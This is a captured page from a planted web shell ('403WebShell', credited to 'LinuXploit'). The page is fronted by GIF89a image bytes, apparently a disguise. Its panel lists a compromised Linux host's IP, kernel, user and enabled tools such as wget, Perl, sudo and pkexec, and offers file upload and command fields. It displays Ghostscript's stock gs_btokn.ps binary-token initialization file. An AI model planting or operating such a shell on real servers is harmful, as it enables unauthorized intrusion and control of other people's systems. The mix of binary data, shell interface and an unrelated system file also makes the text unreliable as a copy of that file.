GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 173.249.157.85  /  Your IP : 18.224.72.117
Web Server : Apache
System : Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : econtech ( 1005)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/ghostscript/Resource/Init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/ghostscript/Resource/Init/gs_btokn.ps
% Copyright (C) 2001-2018 Artifex Software, Inc.
% All Rights Reserved.
%
% This software is provided AS-IS with no warranty, either express or
% implied.
%
% This software is distributed under license and may not be copied,
% modified or distributed except as expressly authorized under the terms
% of the license contained in the file LICENSE in this distribution.
%
% Refer to licensing information at http://www.artifex.com or contact
% Artifex Software, Inc.,  1305 Grant Avenue - Suite 200, Novato,
% CA 94945, U.S.A., +1(415)492-9861, for further information.
%

% Initialization file for binary tokens.
% When this is run, systemdict is still writable,
% but everything defined here goes into level2dict.

% Define whether or not to allow writing dictionaries.
% This is a non-standard feature!
/WRITEDICTS //false def

languagelevel 1 .setlanguagelevel
level2dict begin

% Initialization for the system name table.

mark
% 0
        /abs /add /aload /anchorsearch /and
        /arc /arcn /arct /arcto /array
        /ashow /astore /awidthshow /begin /bind
        /bitshift /ceiling /charpath /clear /cleartomark
% 20
        /clip /clippath /closepath /concat /concatmatrix
        /copy /count /counttomark /currentcmykcolor /currentdash
        /currentdict /currentfile /currentfont /currentgray /currentgstate
        /currenthsbcolor /currentlinecap /currentlinejoin /currentlinewidth /currentmatrix
% 40
        /currentpoint /currentrgbcolor /currentshared /curveto /cvi
        /cvlit /cvn /cvr /cvrs /cvs
        /cvx /def /defineusername /dict /div
        /dtransform /dup /end /eoclip /eofill
% 60
        /eoviewclip /eq /exch /exec /exit
        /file /fill /findfont /flattenpath /floor
        /flush /flushfile /for /forall /ge
        /get /getinterval /grestore /gsave /gstate
% 80
        /gt /identmatrix /idiv /idtransform /if
        /ifelse /image /imagemask /index /ineofill
        /infill /initviewclip /inueofill /inufill /invertmatrix
        /itransform /known /le /length /lineto
% 100
        /load /loop /lt /makefont /matrix
        /maxlength /mod /moveto /mul /ne
        /neg /newpath /not /null /or
        /pathbbox /pathforall /pop /print /printobject
% 120
        /put /putinterval /rcurveto /read /readhexstring
        /readline /readstring /rectclip /rectfill /rectstroke
        /rectviewclip /repeat /restore /rlineto /rmoveto
        /roll /rotate /round /save /scale
% 140
        /scalefont /search /selectfont /setbbox /setcachedevice
        /setcachedevice2 /setcharwidth /setcmykcolor /setdash /setfont
        /setgray /setgstate /sethsbcolor /setlinecap /setlinejoin
        /setlinewidth /setmatrix /setrgbcolor /setshared /shareddict
% 160
        /show /showpage /stop /stopped /store
        /string /stringwidth /stroke /strokepath /sub
        /systemdict /token /transform /translate /truncate
        /type /uappend /ucache /ueofill /ufill
% 180
        /undef /upath /userdict /ustroke /viewclip
        /viewclippath /where /widthshow /write /writehexstring
        /writeobject /writestring /wtranslation /xor /xshow
        /xyshow /yshow /FontDirectory /SharedFontDirectory /Courier
% 200
        /Courier-Bold /Courier-BoldOblique /Courier-Oblique /Helvetica /Helvetica-Bold
        /Helvetica-BoldOblique /Helvetica-Oblique /Symbol /Times-Bold /Times-BoldItalic
        /Times-Italic /Times-Roman /execuserobject /currentcolor /currentcolorspace
        /currentglobal /execform /filter /findresource /globaldict
% 220
        /makepattern /setcolor /setcolorspace /setglobal /setpagedevice
        /setpattern
% pad to 256
        counttomark 256 exch sub { 0 } repeat
% 256
        /= /== /ISOLatin1Encoding /StandardEncoding
% 260
        ([) cvn (]) cvn /atan /banddevice /bytesavailable
        /cachestatus /closefile /colorimage /condition /copypage
        /cos /countdictstack /countexecstack /cshow /currentblackgeneration
        /currentcacheparams /currentcolorscreen /currentcolortransfer /currentcontext /currentflat
% 280
        /currenthalftone /currenthalftonephase /currentmiterlimit /currentobjectformat /currentpacking
        /currentscreen /currentstrokeadjust /currenttransfer /currentundercolorremoval /defaultmatrix
        /definefont /deletefile /detach /deviceinfo /dictstack
        /echo /erasepage /errordict /execstack /executeonly
% 300
        /exp /false /filenameforall /fileposition /fork
        /framedevice /grestoreall /handleerror /initclip /initgraphics
        /initmatrix /instroke /inustroke /join /kshow
        /ln /lock /log /mark /monitor
% 320
        /noaccess /notify /nulldevice /packedarray /quit
        /rand /rcheck /readonly /realtime /renamefile
        /renderbands /resetfile /reversepath /rootfont /rrand
        /run /scheck /setblackgeneration /setcachelimit /setcacheparams
% 340
        /setcolorscreen /setcolortransfer /setfileposition /setflat /sethalftone
        /sethalftonephase /setmiterlimit /setobjectformat /setpacking /setscreen
        /setstrokeadjust /settransfer /setucacheparams /setundercolorremoval /sin
        /sqrt /srand /stack /status /statusdict
% 360
        /true /ucachestatus /undefinefont /usertime /ustrokepath
        /version /vmreclaim /vmstatus /wait /wcheck
        /xcheck /yield /defineuserobject /undefineuserobject /UserObjects
        /cleardictstack
% 376
        /A /B /C /D /E /F /G /H /I /J /K /L /M
        /N /O /P /Q /R /S /T /U /V /W /X /Y /Z
        /a /b /c /d /e /f /g /h /i /j /k /l /m
        /n /o /p /q /r /s /t /u /v /w /x /y /z
% 428
        /setvmthreshold (<<) cvn
        (>>) cvn /currentcolorrendering /currentdevparams /currentoverprint /currentpagedevice
        /currentsystemparams /currentuserparams /defineresource /findencoding /gcheck
% 440
        /glyphshow /languagelevel /product /pstack /resourceforall
        /resourcestatus /revision /serialnumber /setcolorrendering /setdevparams
        /setoverprint /setsystemparams /setuserparams /startjob /undefineresource
        /GlobalFontDirectory /ASCII85Decode /ASCII85Encode /ASCIIHexDecode /ASCIIHexEncode
% 460
        /CCITTFaxDecode /CCITTFaxEncode /DCTDecode /DCTEncode /LZWDecode
        /LZWEncode /NullEncode /RunLengthDecode /RunLengthEncode /SubFileDecode
        /CIEBasedA /CIEBasedABC /DeviceCMYK /DeviceGray /DeviceRGB
        /Indexed /Pattern /Separation /CIEBasedDEF /CIEBasedDEFG
% 480
        /DeviceN
% 481 -- end
.packtomark .installsystemnames

% Define printobject and writeobject.
% These are mostly implemented in PostScript, so that we don't have to
% worry about interrupts or callbacks when writing to the output file.

% Define procedures for accumulating the space required to represent
% an object in binary form.  The procedures for composite objects (arrays
% and dictionaries) leave different results on the stack:
%	<#refs> <#chars> <simple_obj> -proc- <#refs> <#chars>
%	<#refs> <#chars> <array|dict> -proc- <array|dict> <#refs> <#chars>
% This is required so that .writeobjects can also accumulate the actual
% list of composite objects to write in the binary object sequence.
/cntdict mark
  /integertype /pop load
  /realtype 1 index
  /marktype 1 index
  /nulltype 1 index
  /booleantype 1 index
  /nametype { length add } bind
  /stringtype 1 index
  /arraytype //null
  /dicttype //null
.dicttomark def
/.cntobj {	% <<arguments and results as for procedures in cntdict>>
  dup type //cntdict exch get exec
} .bind def
cntdict /arraytype {
  dup dup length 5 -1 roll add 4 2 roll { .cntobj } forall
} bind put
cntdict /dicttype {
  WRITEDICTS {
    dup dup length 2 mul 5 -1 roll add 4 2 roll {
        % We have to use .execn here, rather than simply rolling the
        % value under the top elements, because key might involve arrays
        % or dictionaries.
      cvlit {.cntobj} exch 2 .execn .cntobj
    } forall
  } {
    /writeobject .systemvar /typecheck signalerror
  } ifelse
} bind put

/w2dict mark
  /nametype { 2 copy .writecvs pop } bind
  /stringtype 1 index
.dicttomark def

/.bosheader {		% <top_length> <total_length> <string8> .bosheader
                        %   <string4|8>
  dup 0 currentobjectformat 127 add put		% object format => BOS tag
  2 index 255 le 2 index 65531 le and {
        % Use the short header format: tag toplen(1) totlen(2)
    exch 4 add exch
    0 4 getinterval
    dup 1 5 -1 roll put
  } {
        % Use the long header format: tag 0(1) toplen(2) totlen(4)
    exch 8 add exch
     0 0 4 2 roll .bosobject exch pop exch pop	% store with byte swapping
  } ifelse		% Stack: shortlen str
  exch dup -8 bitshift exch 255 and	% str hibyte lobyte
  currentobjectformat 1 and 0 eq {	% lsb first
    exch
  } if
  2 index 3 3 -1 roll put
  1 index 2 3 -1 roll put
} .bind def

/.writeobjects {	% <file> <tag> <array> .writeobjects -
  mark exch

        % Count the space required for refs and strings.

  dup length 0 3 -1 roll
        % Stack: file tag -mark- #refs #chars array
  dup 4 1 roll { .cntobj } forall

        % Write the header.

        % Stack: file tag -mark- array1 ... (array|dict)N #refs #chars
  counttomark 3 add -2 roll 4 1 roll
        % Stack: -mark- array1 ... (array|dict)N tag #refs #chars file
  dup counttomark 1 sub index length
  4 index 3 bitshift 4 index add
  (xxxxxxxx) .bosheader writestring

        % Write the objects per se.

  3 1 roll pop
  counttomark 1 sub index length 3 bitshift exch
  3 bitshift
        % Stack: -mark- array1 ... (array|dict)N tag file ref# char#
  counttomark 4 sub {
    counttomark -1 roll dup 6 1 roll
        % Stack: ... objN tag file ref# char# objN
    dup type /dicttype eq {		% can't be first object
      { 5 1 roll (x\000xxxxxx) .bosobject
        3 index exch writestring
        4 -1 roll (x\000xxxxxx) .bosobject
        3 index exch writestring
      } forall
    } {
      { (x\000xxxxxx) .bosobject
        dup 1 6 index put
        3 index exch writestring
        4 -1 roll pop 0 4 1 roll	% clear tag
      } forall
    } ifelse
  } repeat

        % Write the strings and names.

  pop pop exch pop
        % Stack: -mark- array1 ... array|dictN file
  counttomark 1 sub {
    counttomark -1 roll {
                % The counting pass ensured that the keys and values
                % of any dictionary must be writable objects.
                % Hence, we are processing a dictionary iff
                % the next-to-top stack element is not a file.
      1 index type /filetype ne {
        exch 2 index exch dup type //w2dict exch .knownget
         { exec } { pop } ifelse pop
      } if
      dup type //w2dict exch .knownget { exec } { pop } ifelse
    } forall
  } repeat

        % Clean up.

        % Stack: -mark- file
  pop pop

} .bind def

/printobject {		% <obj> <tag> printobject -
  currentobjectformat 0 eq {
      /printobject .systemvar /undefined signalerror
  } if
  (%stdout) (w) file 2 index 2 index .writeobject pop pop
} odef
/writeobject {		% <file> <obj> <tag> writeobject -
  currentobjectformat 0 eq {
      /writeobject .systemvar /undefined signalerror
  } if
  2 .argindex pop	% check # of args
  .writeobject
} odef
/.writeobject {
  3 copy exch
                % We must allocate the array in local VM
                % to avoid a possible invalidaccess.
  .currentglobal //false .setglobal exch 1 array astore exch .setglobal
  .writeobjects pop pop pop
} .bind def

% Implement binary error message output.
/.objectprinttest {		% <obj> .objectprinttest -
                % This is a pseudo-operator so it will restore the stack
                % if it gets an error.
  mark 0 0 3 .argindex .cntobj cleartomark pop
} bind odef
/.printerror {
  $error /binary get .languagelevel 2 ge and {
    currentobjectformat 0 ne {
      [ /Error $error /errorname get $error /command get
                % Convert the object with cvs if it isn't printable.
      dup { .objectprinttest } .internalstopped {
        pop 100 string cvs
      } if
      //false ] 250 printobject
    }
    //.printerror	% known to be a procedure
    ifelse
  }
  //.printerror		% known to be a procedure
  ifelse
} bind def

currentdict /cntdict .undef
currentdict /w2dict .undef

% End of level2dict

end
.setlanguagelevel

Youez - 2016 - github.com/yon3zu
LinuXploit